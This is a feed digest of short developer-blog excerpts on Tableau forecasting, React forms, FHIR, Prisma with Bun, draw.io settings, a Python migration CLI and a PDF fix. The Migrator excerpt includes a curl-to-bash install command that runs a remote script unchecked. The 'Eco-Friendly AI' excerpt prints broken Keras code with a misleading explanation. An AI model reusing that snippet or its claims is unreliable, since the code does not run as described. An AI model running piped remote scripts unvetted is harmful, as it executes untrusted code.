    Forecasting is one of the most powerful capabilities in Tableau. Whether your goal is to predict next quarter’s revenue, anticipate demand, or estimate operational capacity, Tableau’s forecasting engine provides business leaders with actionable, visually intuitive projections. Forecasting is the process of using past and present data to predict future outcomes. Businesses use forecasting to: Trend A trend reflects long-term movement in the data — usually a steady increase or decrease. Example: A company’s quarterly sales increasing year after year. Seasonality Seasonality captures repeating, predictable patterns in data at fixed intervals. Example: Higher retail sales in December. Residuals Residuals are the differences between actual values and their predicted values. They help us underst…  ( 9 min )
    Build a Calorie Estimation App With Vision Agents
    Introduction Knowing the calorie count in the food you consume daily can help you maintain a healthy diet. But, manual calorie counting can be difficult, especially for foods without labels. With computer vision, we can now automate calorie estimation for any food. In this tutorial, we’ll build an agent that estimates and tracks your total calorie consumption throughout the day. We will leverage computer vision through the Vision Agents SDK for this. By the end, you’ll be able to point your camera at a portion of food, and the agent will estimate portion size and calories. Vision Agents (explore the code on GitHub) is a framework that enables developers to build real-time voice and video AI applications using any LLM and video edge network. The Vision Agents framework combines a series…  ( 16 min )
    Core Web Vitals: Top Trick
    Ranking high on Google directly depends on your Core Web Vitals. For me, one of the most impactful thing was this: Preload your LCP Determine what your Largest Contentful Paint element is, and add  ( 6 min )
    onSubmit in React.js Forms: Why action="" and method="" don’t apply anymore
    Back then in HTML, we would use: The browser handles everything automatically. But in React, we don’t let the browser reload the page - we handle it manually. Using onSubmit in React lets you control what happens when the form is submitted: function MyForm() { return ( Submit ); *Why this approach? No page reloads You control the logic Perfect for validations Works well with APIs (fetch/axios) Better user experience *Capturing inputs with useState React uses controlled components: const [name, setName] = useState(""); This gives you full control of the data. React forms felt strange at first, but once you understand onSubmit, preventDefault(), and useState, everything starts to click.  ( 6 min )
    **Eco-Friendly AI Code Snippet: Resource-aware Neural Networ
    Eco-Friendly AI Code Snippet: Resource-aware Neural Network import numpy as np from tensorflow.keras.models import Model def sustainable_model(x_train, x_val): input_layer = keras.Input(shape=(x_train.shape[1],)) model = Sequential([Dense(x_train.shape[1]//4, activation='relu', input_shape=(x_train.shape[1],))]) model.compile(loss='mean_squared_error', optimizer='adam') return Model(inputs=input_layer, outputs=model) This code snippet defines a simple neural network model that incorporates sustainability into its design. Here's what it does: It takes into consideration computational resource usage, a major concern for energy-intensive AI models. The input layer size is reduced using a technique called dimensionality reduction, using x_train.shape[1]//4 instead of the full size. This reduces the computational load while preserving the model's performance to some extent. Optimizer 'adam' is used to ensure fast and efficient model convergence. It compiles the model with a focus on resource efficiency during training. The model can then be trained and validated on smaller input datasets. This snippet showcases a key concept in sustainable AI: designing models that are energy-efficient and computationally light. Publicado automáticamente  ( 6 min )
    Healthcare Data Interoperability and FHIR: A Developer's Guide
    Healthcare technology is experiencing a revolution, and at its core is a challenge that affects millions of patients daily: getting different systems to talk to each other. In this article, I will explain what healthcare data interoperability is, and how FHIR is changing the game. Healthcare data interoperability is the ability of different healthcare information systems, applications, and devices to exchange, access, and use patient data seamlessly—regardless of the vendor or platform. You can think of it as creating a common language that allows your doctor's EHR (Electronic Health Record) system, the hospital's imaging system, your pharmacy's software, and even your fitness tracker to share information accurately and securely. There are typically four levels of interoperability: Foundat…  ( 10 min )
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    Major module update! Anthony Max for HMPL.js ・ Nov 17 #webdev #javascript #programming #opensource  ( 5 min )
    Major module update!
    Hello everyone! In this short article, I'd like to talk about the new versions we recently released. It would seem that the modules are quite utilitarian and there is no particular point in updating them, but nevertheless, it is worth keeping them up to date today, and we will talk about some of the changes in them today. Stay informed! In case you weren't aware, .hmpl actually has its own file extension. Loading it requires loaders, which were created specifically for Vite and WebPack. For these, we've updated the settings validation, which relies on the following types: interface HMPLCompileOptions { memo?: boolean; autoBody?: boolean | HMPLAutoBodyOptions; allowedContentTypes?: HMPLContentTypes; sanitize?: HMPLSanitize; disallowedTags?: HMPLDisallowedTags; sanitizeConfig?: Config; } A small, but also quite interesting update. This module is designed to use templating language syntax without npm or other add-ons. Nothing else is needed, just a single index.html file and that's it. In this update, we've added hmpl-dom.runtime.js. This is also quite an update. They've also updated the README files and other texts everywhere, but that's not really important in the context of releases. You can write your thoughts about the new features in the comments, it will be interesting to read! Or, there is a thematic Discord channel for questions and suggestions, there I or someone else will try to answer! So you can take part in it too! This also means you can use it for commercial purposes: Repo: https://github.com/hmpl-language/hmpl (Star Us ★) https://hmpl-lang.dev https://hmpl-lang.dev/changelog Thank you very much for reading the article!  ( 6 min )
    New fav claude CLI commands: /primer & /wrap-up
    I have been weaving command into my daily workflow quite frequently lately! It all started when I realized I was repeating the same set of requests or questions to claude at specific intervals, the start of the conversation and when I was ready to wrap up and get all the lint and tests passing. As an example of some of the things I would continuously ask claude to make sure they took care of were: In The Start Of Conversations: -use SPARC (see other article) At The End Of Conversations: -ALL tests and lint warnings/errors HAVE to be fixed (sorry to caps out on ya there but I told claude this a whole lotta times!) So in the middle of doing it again I stopped, opened a different claude and asked it to write our first command ... /primer - Quality Engineering Mode Activation Purpose: This com…  ( 8 min )
    Context Engineering: The Critical Infrastructure challenge in Production LLM systems
    The $10M question nobody's asking While the industry obsesses over model parameters and training costs, we're collectively ignoring a production bottleneck that's costing organizations millions: inefficient context management. I recently analyzed production LLM deployments across multiple organizations and found something striking: 65-80% of tokens sent to LLMs are redundant, irrelevant, or poorly structured. When you're processing billions of tokens monthly at $0.01-0.06 per 1K tokens, this inefficiency translates to substantial operational waste, not just in dollars, but in latency, throughput, and user experience. Context engineering isn't just optimization, it's foundational infrastructure for production AI systems. And yet, most teams are still treating it as an afterthought. The n…  ( 11 min )
    How to use Prisma with Bun
    Bun is a fast JavaScript runtime that's been making waves in the developer community. It includes a bundler, test runner, and package manager all in one. In this tutorial, we'll explore how to integrate Prisma ORM with Prisma Postgres in Bun to build a simple HTTP server. The workflow is straightforward: set up Prisma with a Prisma Postgres database, create a simple data model, and build an HTTP server that queries your database. We'll even compile it into a single executable file for deployment. In this tutorial, we'll create a simple user management system with: Type-safe database queries using Prisma A basic HTTP server with Bun Seed data for development A compiled executable for production deployment mkdir bun-prisma cd bun-prisma bun init -y This creates a basic Bun project with a pa…  ( 9 min )
    Mastering Enterprise Data Compliance in a Regulated World
    In today's digital landscape, enterprises face mounting pressures to safeguard sensitive information amid evolving regulations. Data breaches not only erode trust but also invite severe financial repercussions. Regulations such as GDPR and HIPAA set stringent standards for handling personal and health data, compelling organizations to adopt proactive measures. Effective data governance & compliance emerges as a cornerstone for maintaining integrity and accountability across vast datasets. Businesses that prioritize data compliance gain a competitive edge by fostering transparency and reliability. This approach minimizes risks associated with non-compliance, which can lead to hefty fines or reputational damage. Data governance involves structured policies and processes that ensure data qua…  ( 10 min )
    Nexa Rust Extra Font : AtoZ Font
    Nexa Rust Extra, designed by Fontfabric, falls under the Display, Script category & Nexa Rust font family. Its smooth, flowing letterforms make it a versatile choice for projects that require both elegance and readability. Nexa Rust is particularly well-suited for Packaging, Posters and Event Flyers, Apparel and Merchandise and Branding and Logos. With its balance of simplicity and decorative appeal, this font brings a polished touch to both personal and professional designs. https://www.atozfont.com/font/nexa-rust-extra NexaRustExtraFont #Fonts #AtoZFont #AtoZFonts #A2ZFont #A2ZFonts #ttf #otf #Fontdownload #Downloads  ( 6 min )
    How to disable page view by default in draw.io
    I'm using draw.io to create diagrams or as part of workshops to visualize ideas or organize information. I almost never print any of the diagrams I'm creating, but the app defaults to a page view. I find that I naturally gravitate to trying to fit things within the default page size and get a bit irritated when pages are automatically added or removed depending on where I move stuff. Fortunately, page view can be disabled in the diagram options by unchecking the checkbox in the diagram menu, or via the View menu. Since I do that for pretty much every diagram, I wondered if there's a better way. Changing the default so that new files start with the whole canvas available is not that difficult once you find the right configuration options. Getting there took me a bit, so I'm writing this quick guide for you (and future me). draw.io allows you to customize your settings from the Extras -> Configuration menu. Next, you're greeted by this beautiful text input field with a JSON document. Here, you can customize the default behavior of draw.io as described in the docs: Configure the draw.io editor. The configuration option for page view is of course not called pageViewEnabled or something like that. Instead, we need to set defaultPageVisible to false. If your configuration block is empty, copy and paste the following: { "defaultPageVisible": false } Next, click Apply and restart draw.io. Any new documents that you create should now start with the full canvas instead of the page view. The other options in my configuration increase the size of the shape thumbnails (a godsend on a large screen) and ensure things get pasted where I want them to be. Anyway, that's it. — Maurice If you're getting the following error (or something like it) when clicking apply, you probably added a comma after the last key-value pair in the JSON document, which it doesn't like: Expected double-quoted property name in JSON at position 105 (line 6 column 1)  ( 7 min )
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    Vite vs Webpack: A Comparative Analysis Debajit Mallick ・ Feb 14 '24 #vite #webpack #buildtools #webdev  ( 5 min )
    Full-Stack Security Architecture
    Security is not a plugin you add at the end; it is an architectural requirement. In a modern Next.js application, security responsibilities are split between the Edge (Middleware), the Configuration (next.config.js), and the Server Runtime (Server Actions). This guide details a cohesive security strategy using Next.js, Zod (validation), and Bcrypt (cryptography). Before implementing code, ensure your infrastructure meets these baselines: [ ] SSL/TLS: Enforce HTTPS strictly (HSTS). [ ] Content Security Policy (CSP): Restrict data sources to trusted domains. [ ] Database Security: Never concatenate SQL; use ORMs (Prisma/Drizzle) or parameterized queries. [ ] Input Sanitization: Validate data types and length on the server. [ ] Secure Dependencies: regularly run npm audit. In Next.js, securit…  ( 8 min )
    #cicd #ec2
    CI/CD Pipeline for Amazon EC2 Lasantha Sanjeewa Silva for AWS Community Builders ・ Mar 1 #aws #devops #cloud #cloudcomputing  ( 5 min )
    What are your goals for the week? #153
    It's November, time to start watching for Black Friday and Cyber Monday Tech Developer deals. I don't hit brick and mortar stores on Friday too crowded and too many years working retail. I will shop online though. What are you building this week? What are you working on this week? Are you attending any events this week? Continue Job Search. Network, Send emails. Redo resume Project work. Content for side project. Work on my own project. Follow Content & Project Calendar for November. Blog I want to blog more often and produce more than I did this time last year. Start searching for Black Friday developer related deals. I'll post them next week. Events. Dads in Tech Thursday * Virtual Coffee. Run a goal setting thread on Virtual Coffee(VC) Slack. 🚧 Continue Job Search. Network, Send emails. Redo resume Project work. ✅Content for side project. Work on my own project. Follow Content & Project Calendar for November. Events. Thursday * Virtual Coffee. ✅ Thursday * Dallas Software Developers meetup (virtual) Night of JavaScript. ✅ Run a goal setting thread on Virtual Coffee(VC) Slack. Noticed I left blogging off of my list. Oh well didn't do any extra blogging anyway last week. What are you building? What are you working on? Are you attending any events this week? Any suggestions for online events this week? Cover image is my LEGO photography. Stitch with fours arms. He's holding a laptop, phone, cookie, and a mug. He's next to a desk with a CRT monitor and keyboard. -$JarvisScript git commit -m "edition 153"  ( 17 min )
    12 full-stack project ideas (with designs) for your developer portfolio
    You need a portfolio to get hired. But most developers struggle with two problems: deciding what to build, and making their projects look professional enough to impress hiring managers. Hiring managers spend maybe 30 seconds on your portfolio. They're looking for proof you can build complete applications: frontend, backend, database, deployed. If your projects look unpolished or amateur, they move on. What makes a strong full-stack portfolio project? Projects that demonstrate frontend, backend, database, and deployment skills together. Strong projects include real-world features like authentication, search functionality, data validation, and API design. Each project needs live deployment and public source code to prove you can build and ship complete applications. These projects prove you …  ( 25 min )
    21 AI Tools Helping Small Businesses Grow in 2025
    Discover the most useful AI tools for small businesses in 2025, how they work, and how companies can use them to improve productivity, customer service, and daily operations. Running a small business in 2025 means dealing with fast competition, rising customer expectations, and the pressure to deliver more with fewer resources. The rapid growth of artificial intelligence has become a major support system for small businesses. What once required large teams or expensive software can now be handled with smart, affordable AI tools that simplify operations and improve efficiency. Whether it is automating workflows, generating content, handling customer queries, or analyzing data, AI tools have become essential parts of modern business operations. This article explores the AI tools making the b…  ( 10 min )
    Transform Your Raspberry Pi into a Mini Windows 11 PC: Step-by-Step Guide
    Introduction If you’ve ever looked at your Raspberry Pi and wondered “Could I run Windows 11 on this?”, you’re not alone. While the Pi is typically paired with Raspberry Pi OS or other Linux-based systems, it’s surprisingly possible to install and use Windows 11 (ARM64 version) on Raspberry Pi versions such as the Pi 4 and Pi 5. In this blog I’ll walk you through the entire process—what you need, how to set it up, the limitations you’ll face—and share my own experience. Why Install Windows 11 on a Raspberry Pi? Before diving into the how-to, let’s talk about why you might want to do this: You’re familiar with Windows and prefer its interface (Start menu, File Explorer, Microsoft ecosystem) over Linux. You want to test ARM64 Windows apps but don’t have a dedicated ARM laptop; a Pi off…  ( 9 min )
    Will Reasoning Become the New Turing Test? Let's play a Sherlock Holmes game
    Introduction I've been thinking about the Turing Test again. The classic experiment where a machine "passes" by imitating human conversation now feels… complete. The game has been played and, in many ways, won. But that leaves me with a harder question: Does AI really have intelligence? A few nights ago, I caught a re-broadcast of a Sherlock Holmes-like film Death on the Nile on TV. Watching "Holmes" unravel impossibilities with cool precision, I couldn't help but wonder: What if the next great test for intelligence isn't conversation, but reasoning? Maybe the mystery case, not the chat window, will define the next Turing Test. In 1950, Alan Turing asked a timeless question: "Can machines think?" His "Imitation Game" proposed a provocative challenge: if a computer could convincingly m…  ( 8 min )
    Analisando Práticas de Teste do Projeto Hollow da Netflix: Lições de Código Open Source
    Disclaimer Introdução Analisar código de projetos open source de empresas relevantes é uma excelente forma de evoluir suas práticas de desenvolvimento. Neste post, vamos explorar as práticas de testes automatizados do projeto Hollow da Netflix, focando em testes de unidade e integração. A ideia é comparar as práticas que você utiliza no seu contexto com as práticas de projetos mantidos por empresas de referência na indústria de software. Hollow é um projeto open source da Netflix criado para facilitar a transferência de dados ultra rápida entre sistemas, especialmente quando lidamos com volumes gigantes de informação. Uma característica marcante nos testes do Hollow é o esforço investido na construção dos asserts. Por exemplo, no teste HollowRecordJsonStringifierTest, que te…  ( 10 min )
    What If You Could Write AJAX Without JavaScript? Meet fetchtl.
    Ever wished you could make an API request without writing a single line of JavaScript? Yeah… me too 😅 fetchtl — a tiny library that lets you do things like: Register That’s it. No JS. No frameworks. No fetch(). Just HTML. As a web developer, I got tired of doing this 100 times: fetch("/api/user") .then(res => res.json()) .then(data => { document.querySelector("#user").innerHTML = data.name; }); Too much boilerplate. Too much repetition. “Just write HTML and let the page fetch automatically.” fetchtl — a tool that gives HTML magical new attributes: $get → Load data from an API $post → Submit a form via AJAX fetchtl is a JavaScri…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Bill Simmons, Sean Fennessey, and Van Lathan crawl back into the neon-drenched world of Brian De Palma’s Snake Eyes, basking in Nic Cage’s sweaty swagger, Gary Sinise’s menacing charm, and Carla Gugino’s undercover intrigue. They crown themselves “kings of the sewer,” unpacking that iconic tracking shot, wild conspiracies, and everything that makes this ’98 noir thriller a deliciously over-the-top ride. This episode—produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo—is brought to you by PayPal’s holiday Pay in 4 deal (5% cash back through 12/31). Tune in, get your popcorn, and bask in the chaos. Watch on YouTube  ( 6 min )
    Native Apps with ClojureScript, React and Static Hermes
    What you see in the demo below is ClojureScript UIx app driving native window with ImGui UI via custom React reconciler. Both hot-reloading and REPL-driven development are supported, as you'd expect it from a typical ClojureScript project. The JavaScript side of the app runs in Hermes engine, which exposes ImGui to JS env. However, a release build of this exact app is a fully native 8MB executable. You can try it yourself on macOS or Linux. While Hermes engine is a JavaScript VM, it is also an AOT compiler for JavaScript that emits either Hermes byte code or C. Compiling this sample JavaScript program with Static Hermes: shermes -emit-c index.js print(1 + globalThis.value); outputs the following C program or 50KB executable, when compiled straight into a binary shermes -Os index.js locals…  ( 8 min )
    Breaking Down a 1,500-Line Firebase Service - Clean Architecture in Practice
    How I refactored a monolithic Firebase service into clean, testable, and reusable utility modules without breaking production? After transforming my Firebase notification service from synchronous to queue-based architecture (covered in Part 1), I faced a new problem: my firebase.service.ts had grown to 1,500+ lines of tangled business logic. Finding a specific function required scrolling through hundreds of lines. Adding a feature meant understanding unrelated code. Testing? Nearly impossible. Here's how I systematically refactored this monolith into clean, reusable utility modules without breaking production. After implementing the queue-based architecture, my service file had become a kitchen sink of functionality: // firebase.service.ts - The 1,500-line monster @Injectable() export clas…  ( 21 min )
    Introducing Pruna 0.3.0 - The Upgrade You’ve Been Waiting For
    Today, we are excited to announce that we have released the long-awaited Pruna 0.3.0. We’ve restructured our internal framework to make algorithm management more flexible and scalable, setting the stage for even more powerful algorithm support going forward. Why the Refactor In previous versions, certain algorithm groups — such as cachers or quantizers — were tightly coupled to the package’s structure. This rigid grouping made it difficult to introduce new types of algorithms or to combine them in flexible ways. Starting with Pruna 0.3.0, we’ve reworked this system so that such classifications are no longer hard constraints. Instead, they now serve as supplementary metadata, enabling a more modular, composable, and future-proof design. This refactor lays the groundwork for integrating ne…  ( 8 min )
    I Finally Built an Interactive Demo for My 2018 Preprint on Transforming Tupper's Formula
    Hello DEV community! I'm Prathamesh Deshmukh, and I'm excited to finally share a project I've been meaning to build for years. Back in 2018, I wrote a preprint titled "Transformation of the pixels in Tupper's self-referential formula." It's based on the famous formula by Tupper that plots a bitmap of itself. But as I noted in my preprint, the self-plotting isn't the only amazing part. The formula can actually plot every possible $$106 \times 17$$ pixel combination. This led me to my core research question: "If there is some graphical formation at a particular value of k, then what can be done to change the graphical formation or to change its position?" My preprint (which you can find in the repo) was my answer to that question. I showed that you can perform all sorts of transformations—an…  ( 7 min )
    TapThing — A daily photo challenge with a fixed expiration
    TapThing gives you one “Ting” per day — a small photo prompt like: “What’s the first thing you saw today?” “Show your desk right now.” “Your current weather.” “Something blue around you.” Every Ting comes with its own expiration time. If you post, you unlock everyone else’s photos for that Ting. No comments. The goal: make sharing effortless, remove social pressure, and create a daily moment everyone experiences together — but with a clear deadline that keeps things fun and ephemeral. If you want to try the beta, I’d love feedback on: the expiration-based posting loop ephemeral feed design daily prompt pacing Happy to answer questions!  ( 6 min )
    Web Frameworks Without Headaches: Choosing Your Weapon ⚔️🌐
    Hey Dev Community! Building for the web today feels like walking into a giant supermarket: PHP, Rails, Buffalo, Node.js (Nest, Fastify, Express), Laravel, Symfony, Fiber… and you’re standing there like, “Which one won’t make me cry at 3 AM?” Let’s break it down—fun, simple, and without brain crashes. Old but gold. Easy to start, tons of tutorials, and powers WordPress. Downsides: can feel messy if you don’t follow structure. Best for: quick projects, CMS, and classic web apps. Convention over configuration = less boilerplate. Great for startups and MVPs. Downsides: performance can lag for huge apps. Best for: rapid prototyping, developer happiness. Go language = speed + simplicity. Buffalo gives you scaffolding, routing, and dev tools. Downsides: smaller ecosystem compared to Node or PHP. Best for: performance-focused apps, APIs. TypeScript-first, structured, modular. Feels like Angular for the backend. Best for: enterprise-grade apps. Fastify Super fast, low overhead. Best for: APIs with high performance needs. Express Minimalist, flexible, huge community. Best for: beginners, quick servers, custom setups. Modern PHP framework with elegant syntax. Built-in tools: authentication, migrations, queues. Best for: full-stack apps, clean architecture. Enterprise-level, highly modular. Powers big projects like Drupal. Best for: complex, large-scale applications. Inspired by Express, but in Go. Lightning fast, minimalistic. Best for: APIs where performance is king. There’s no single “best” framework—it’s about your project, your team, and your sanity. Want speed? Go + Fiber/Buffalo. Want structure? Nest.js or Symfony. Want quick results? Rails or Laravel. Want simplicity? Express or plain PHP. Pick your weapon wisely, and remember: the best framework is the one that helps you ship without crashing your brain. Which framework is your favorite and why? Drop it in the comments—I’m curious to see which weapon you trust in battle!  ( 7 min )
    Migrating Media Libraries to Content Hub in Xperience by Kentico – A Hands-On Project Case Study
    Yesterday, I completed a Media Library migration to Content Hub in a project, and I thought it would be great to share the complete experience here. As most of you already know, Media Libraries have been officially sunset in Xperience by Kentico. Their related API members are now marked as obsolete, and support will end on July 24, 2026. After that date, the entire feature and associated APIs will be removed. If your project still relies on Media Libraries, it’s the right time to start planning your migration. In our case, the client’s application was still using Media Libraries extensively, so we took the opportunity to move everything to Content Hub and adopt Content Item Assets, which is now the recommended and future-ready approach for managing media files in Kentico. Media Libraries h…  ( 9 min )
    🚫 Simple & Clean 404 Error Page — HTML & CSS
    A 404 page is shown when a user tries to open a page that doesn’t exist. This is perfect for beginners and helps you understand: 🛠 🔧 Tech Used 📌 ✨ Features 🚀 Live Demo 👉 [View Live Project]https://haripriya1227.github.io/Error-Page-404/ 🗂 GitHub Repository https://github.com/haripriya1227/Error-Page-404 💬 About The page features a bold “404” heading, a short message, and a button to return to the homepage. I’d love to hear your thoughts, suggestions, or feedback! 😊  ( 6 min )
    ClickHouse: The Good, The Bad, and The Ugly
    ClickHouse is one of those databases that everyone gets excited about after their first benchmark. It’s absurdly fast, column-oriented, and built for analytics at scale. It’s also surprisingly easy to plug into an existing stack. You can stream data from Postgres, Mongo, S3, or pretty much anywhere. That’s what makes it so appealing. You hit the point where your Postgres queries start to struggle, you don’t want to rebuild everything, so you drop in ClickHouse and suddenly your dashboard loads in milliseconds. It’s like putting a turbocharger on your reporting. ClickHouse is also improving at a crazy pace. Every month they roll out new features, bug fixes and faster queries. But with speed comes responsibility. ClickHouse is a beast. It’ll reward you when you treat it well, but it’ll bite …  ( 9 min )
    How SkillHunt Uses Telegram for Faster Job Search
    Finding a job today is all about speed and context. Candidates want instant updates, minimal friction, and a way to stay connected without constantly refreshing platforms. This is where Telegram bots come in — and why SkillHunt integrates them directly into the job-search flow. Telegram has become a default communication channel for tech professionals, especially in fast-moving markets like Web3 and startups. Notifications are instant, onboarding is simple, and users don’t need to install anything extra. For job seekers, this means: Immediate job alerts Quick access to new roles Zero noise — just relevant updates Staying connected without opening the website SkillHunt leverages its Telegram bot to extend the platform beyond the browser: Real-time job notifications: Candidates choose categories (tech, Web3, remote) and instantly receive new matching roles. Lightweight onboarding: Users can register interest or save roles directly from the bot. Fast re-engagement: Instead of waiting for emails, people get updates where they actually communicate. Community layer: The bot connects users with SkillHunt channels, mentors, and upcoming features like interview prep reminders. Telegram becomes an extension of the SkillHunt funnel, improving activation and retention. Candidates stay engaged, companies get faster responses, and the platform builds trust by staying transparent and accessible. A job platform shouldn’t be limited to a website. By integrating a Telegram bot, SkillHunt meets users where they already are — making the job search faster, simpler, and more human.  ( 6 min )
    🚀 Stop Fighting Alembic — FastAPI & Flask Migrations Can Finally Be as Simple as Django.
    If you’ve ever tried setting up Alembic, you probably went through this cycle: create a migrations folder edit alembic.ini modify env.py manually import your models configure database URLs hope it works And when it finally runs, you pray nothing breaks when you update your models again. I hated this. Introducing Migrator — A Zero-Config Migration CLI for Python Migrator brings Django-like migrations to FastAPI and Flask. No configuration. Just migrations that work. ❌ Before Migrator: Alembic Setup Pain Traditional Alembic workflow: alembic init migrations edit alembic.ini edit env.py import models, configure engine hope it works If you've done it, you know how fragile this is. ✅ After Migrator: Pure Simplicity migrator init That’s it. No configs. No patches. No manual imports. It just works. ✔️ Finds your models automatically This means you keep the power of Alembic, without any of the setup. 🎉 Why Migrator Rocks Zero configuration Auto-discovery of models & metadata Framework-agnostic (FastAPI, Flask, Django, SQLAlchemy) Django-like workflow Production-ready (powered by Alembic) 🧪 Quick Start Install: curl -sSL https://raw.githubusercontent.com/Adelodunpeter25/migrator/main/install.sh | bash Initialize: migrator init Create first migration: migrator makemigrations "initial" Apply: migrator migrate Done. Python needed a migration tool like this. FastAPI and Flask are amazing frameworks — but Alembic setup has always been a huge barrier for beginners and even experienced devs. Migrator removes the friction so you can focus on building, not fighting config files. If you want migrations that work like Django, without switching ecosystems, give Migrator a try. GitHub • PyPI • Docs I would love feedback, suggestions, and contributors, this is just the beginning. Happy coding!  ( 7 min )
    Embedded Systems & Electronics in 2025: Key Trends and What Really Changed
    When people talk about “electronics in 2025”, they often focus on AI, But in the embedded world — the world behind factories, hospitals, kiosks, After reviewing dozens of new hardware platforms, display modules, broad, deep shift Below are the trends I believe are reshaping the industry — from Android SBCs to display technology, edge AI, and industrial design. For years, Linux SBCs dominated control panels. Qt-based HMIs were everywhere. But times changed. Since 2024–2025, Android SBCs have slowly but steadily taken over: Developers are simply faster on Android Customers demand better UI They want apps that feel like a smartphone. Touch interactions became standard China-based panel + CPU bundles drastically lowered cost 30–40% cheaper than 5 years ago. App ecosystem compatibil…  ( 8 min )
    9 SaaS Tools for Indie Builders to Scale Fast and Make it Sell ⚡️💰
    Scaling​‍​‌‍​‍‌ your SaaS product quickly and making it successful is the dream of every indie builder. However, to move from just having a great idea to actually building a scalable product, you need to make smart decisions and have the right kind of support. The road leading to fast growth and an eventual safe exit can be quite intimidating if you do not have the right resources available and do not know where to look. In this article I’ve manually handpicked 9 SaaS tools that are created specifically for the needs of indie builders who are eager to scale quickly and increase the product value. These tools cover a wide spectrum of areas like automation, user engagement, infrastructure, and analytics thus they allow users to boost the growth, and make the product attractive to the buyers.…  ( 9 min )
    A Surprisingly Great Tool for Multi‑Cloud Storage – RcloneView Review
    I’ve been using a Synology NAS at home for quite a while. But recently my work started involving multiple cloud platforms like Google Drive, AWS S3, and Cloudflare R2. That’s when I discovered Rclone. CLI‑based tool, it wasn’t very friendly for someone like me. RcloneView — and wow, this tool really made my life easier. It’s still a relatively new app, so the UX and feature set are evolving. multiple clouds and NAS in one place, it’s already incredibly useful. I downloaded it from rcloneview.com/download. I’m using the Windows version. After installation I launched it — and boom. Synology NAS on the local network and asked if I wanted to connect. WebDAV setup Since I also need to access my NAS from outside my home, I chose a WebDAV connection — easy and stable. If you want a more detaile…  ( 10 min )
    As opposed to lists, we use tuples when we do not want the elements to be changed
    Day 71 [November 16, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 70 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets As opposed to lists, we use tuples when we do not want the elements to be changed (Sweigart, n.d.) Summary: References: Halvorsen, H. (n.d.)._ Python_. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai Sweigart, A. I. (n.d.). 4.12: Tuples vs. lists, immutable vs. mutable. In LibreTexts, Making games with python and pygame (Sweigart). https://eng.libretexts.org/Bookshelves/Computer_Science/Programming_Languages/Making_Games_with_Python_and_Pygame_(Sweigart)/04%3A_Memory_Puzzle/4.12%3A_Tuples_vs._Lists%2C_Immutable_vs._Mutable  ( 6 min )
    Sector HQ Weekly Digest - November 17, 2025
    Sector HQ Weekly Digest - November 17, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 442385.7 | 343 events this week Anthropic - Score: 266113.1 | 51 events this week Amazon - Score: 135242.8 | 22 events this week Nvidia - Score: 128360.7 | 161 events this week Google - Score: 111135.8 | 125 events this week Microsoft - Score: 95559.7 | 99 events this week Meta - Score: 78015.6 | 61 events this week Apple - Score: 64936.3 | 94 events this week Tesla - Score: 41242.1 | 12 events this week AMD - Score: 40235.9 | 43 events this week ↑ Sony jumped 277 positions to #58 ↑ Stability AI jumped 183 positions to #78 ↑ Bytedance jumped 143 positions to #68 ↑ Scale AI jumped 122 positions to #66 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    It's turtles all the way down
    It's turtles all the way down Large companies' risk aversion creates a 77% chance they'll lose to startups in any single innovation race, despite near-certain startup success over multiple attempts. When a fast but unreliable competitor (hare) faces a slow but steady one (tortoise), the hare loses 77% of individual races but wins nearly all series of 100 races. Startups act as hares against large company tortoises: any single startup likely fails, but repeated attempts guarantee some will disrupt incumbents and capture massive value. Corporate risk aversion stems from judging projects individually as successes or failures, discouraging bets on volatile ideas with high potential but low expected value. 👉 Read full article  ( 6 min )
    Utilize another telemetry data for faster improvement with AI agent
    Speaker: Yoshi Yamaguchi @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=4jZ5A5lJHHQ Introduction to Profiling Definition of Profiler: A profiler is a type of telemetry that provides information about how well a system is performing and how much it is consuming system resources. Purpose of Profiling: Profiling helps investigate resource consumption in a program and provides statistical information on specific resource usage over a period. Difference from Tracing: Unlike tracing, which tracks resource consumption in a time series manner, profiling offers statistical information throughout a specific period. Famous Profiling Tools: Java: Java Flight Recorder (JFR) Python: cProfile (standard library) and line_profiler (third-party tool) Li…  ( 10 min )
    I Had 10 Minutes to Fix a Broken PDF Before My Client Demo
    The PDF was fine when I sent it to myself yesterday. Opened perfectly. Today, 10 minutes before I needed to walk my client through our proposal document: spinning wheel. Nothing. I tried Chrome. Firefox. Safari. Downloaded it three times. Restarted my laptop. Every minute that passed was one less minute to actually present. My client was already in the Zoom waiting room. This is that sick panic feeling where you realize you might actually have to tell a client "sorry, technical difficulties" and reschedule a meeting you spent two weeks preparing for. Here's what actually worked, and it's one of those "why isn't this more obvious" fixes: Right-click the PDF file → Properties Look at the bottom of the General tab If you see "This file came from another computer and might be blocked" with a checkbox Click "Unblock" → Apply File opens immediately Windows automatically blocks files downloaded from the internet as a security measure. PDFs are especially vulnerable to this because: They often come from email attachments They're frequently shared via cloud storage links Windows doesn't trust the source by default Try Adobe Reader DC instead of browser: Check file corruption: Disable Protected Mode in Adobe: Always test your presentation materials 30 minutes before the meeting, not 10. I learned that the hard way. 🔧 Free AI PDF Error Checker - Upload screenshot, get instant diagnosis 📚 Complete PDF troubleshooting guide 